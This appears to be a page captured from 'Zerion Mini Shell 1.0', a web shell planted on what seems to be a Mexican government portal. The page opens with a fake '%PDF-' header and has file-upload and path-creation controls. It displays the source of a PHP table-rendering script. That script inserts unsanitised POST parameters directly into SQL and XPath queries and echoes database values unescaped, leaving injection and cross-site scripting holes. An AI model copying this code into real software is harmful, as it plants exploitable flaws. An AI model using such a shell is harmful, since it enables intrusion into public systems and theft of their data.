%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/view-box_2021/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/view-box_2021/subcontenidos.php

<?php
require("conn.php");
function formatMoneda($number) 
{
	while (true) {
		$replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
		if ($replaced != $number) {
			$number = $replaced;
		} else {
			break;
		}
	}
	return '$'.$number;
} 
$varidformato = $_POST['varidformato'];
$varidtabla = $_POST['varidtabla'];
$varNumFolio = "SISOFI0".$_POST['varNumFolio'];
$varformato = $_POST['varformato'];
$varnum_tabla = $_POST['varnum_tabla'];
$varid_reg_tabla = $_POST['varid_reg_tabla'];


mysqli_query($db, "SET NAMES 'utf8'");            
$sql=mysqli_query($db, "SELECT l.* FROM nlistas AS l WHERE l.idformato='$varidformato' and l.idtabla='$varidtabla' AND l.Folio='$varNumFolio' and val1='$varid_reg_tabla'");
$row = mysqli_fetch_array($sql);
if(!empty($row))
{
	$docXML = new DOMDocument;
	$docXML->load('xml/encabezados.xml');
	$xpath = new DOMXPath($docXML);
	$getEncabezados = $xpath->query("/encabezados/formatos[attribute::fraccion='$varformato']/columnas[attribute::numero='$varnum_tabla']/titulo");
	?>
	<table class="table table-striped table-bordered">
		<thead> 
			<?php
			$conta=1;
			$count=0; 
			echo "<tr>";
			if ($getEncabezados->length == 0) 
			{
				while ($conta<23)
				{
					  if ($row["val".$conta]<>null) 
					  {
						echo "<th>Valor ".$conta."</th>";
						$count++;
					  } 
					  $conta++;       
				}
			} 
			else 
			{
				foreach ($getEncabezados as $encabezado)
				{            
					echo "<th style='vertical-align: middle'>".$encabezado->nodeValue."</th>";
					$count++;        
				}
			}
			echo "</tr>";
			?>   
		</thead>
		<tbody>          
			<?php
			$sql=mysqli_query($db, "SELECT l.* FROM nlistas AS l WHERE l.idformato='$varidformato' and l.idtabla='$varidtabla' AND l.Folio='$varNumFolio' and val1='$varid_reg_tabla'");
			while($row = mysqli_fetch_array($sql))
			{
				echo "<tr>";
				$conta=1;
				while ($conta<=$count)
				{
				  $link = substr($row["val".$conta], 0, 4);
				  if ($row["val".$conta]<>null)
				  {  
					if(is_numeric($row["val".$conta]))
					{
						$decimal = explode('.', $row["val".$conta]);
						if(count($decimal) > 1)
						{
							$valor = formatMoneda($decimal[0].'.'.substr($decimal[1], 0, 2));	
							echo "<td>".$valor."</td>";
						}
						else
							echo "<td>".$row["val".$conta]."</td>";
					}
					else if($link != 'http') 
					{
						echo "<td>".$row["val".$conta]."</td>";
					} 
					else 
					{
						echo "<td><a href='".$row["val".$conta]."' target='_blank'>Ver documento</a></td>";
					}
				  } else {
						echo "<td></td>";
					}
					$conta++;       
				}
				echo "</tr>";
			}        
			?>
		</tbody>
		<tboot> 
			<?php
			$conta=1;
			$count=0; 
			echo "<tr>";
			if ($getEncabezados->length == 0) {
				while ($conta<23)
					{
					  if ($row["val".$conta]<>null) 
						{
							echo "<th>Valor ".$conta."</th>";
							$count++;
						} 
						$conta++;       
					}
				} else {
				foreach ($getEncabezados as $encabezado)
				{            
					echo "<th style='vertical-align: middle'>".$encabezado->nodeValue."</th>";
					$count++;        
				}
			}
			echo "</tr>";
			?>   
		</tboot>
	</table> 
<?php
    } 
	else
	{
        echo "<th>No existen datos</th>";
    }
?>

Zerion Mini Shell 1.0